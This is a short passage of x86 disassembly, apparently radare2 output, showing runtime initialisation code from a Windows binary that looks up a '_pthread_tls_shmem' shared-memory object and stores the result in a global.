pop ebx
ret
mov dword [esp + 8], 0x419d40
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.0041fe80
mov ebx, eax
mov dword [0x49ae40], eax
jmp 0x41a8be
mov dword [esp + 8], 0x419d40
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.0041fe80
mov dword [0x49ae40], eax
jmp 0x41a8cf
call sub.msvcrt.dll_abort
lea esi, [esi]